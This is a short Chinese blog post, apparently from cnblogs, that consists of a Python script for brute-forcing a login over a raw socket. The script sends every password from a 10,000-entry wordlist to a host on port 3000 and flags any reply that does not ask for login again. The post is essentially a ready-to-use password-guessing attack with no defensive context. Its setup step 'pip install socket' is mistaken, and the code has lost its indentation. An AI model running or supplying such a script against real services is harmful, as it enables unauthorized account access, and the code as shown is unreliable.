socket爆破

pip install socket
#导入socket包
import socket
import time


#定义变量host,port
host = '192.168.1.137'
port = 3000

#进行socket连接
obj = socket.socket()
obj.connect((host, port))
stime = time.time()
#打开pass字典进行迭代
with open("top10000.txt", encoding="utf-8") as f:
for i in f.readlines():
#捕获异常
try:
#发送数据 去除换行符\n
password = bytes(i.strip('\n'), encoding="utf-8")
obj.send(password)
time.sleep(0.02)
#接收返回数据进行打印
ret = str(obj.recv(1024), encoding="utf-8")
if "Please" not in ret.strip('\n') and "Login" not in ret.strip('\n'):
print(password)
print(ret)
print('--------------------------------------')
#错误打印
except Exception as e:
print(str(e))
etime = time.time()
deltatime = etime - stime
print(f'需要{deltatime}秒')
#关闭socket连接
obj.close()
posted @   乡镇做题家  阅读(113)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
点击右上角即可分享
微信分享提示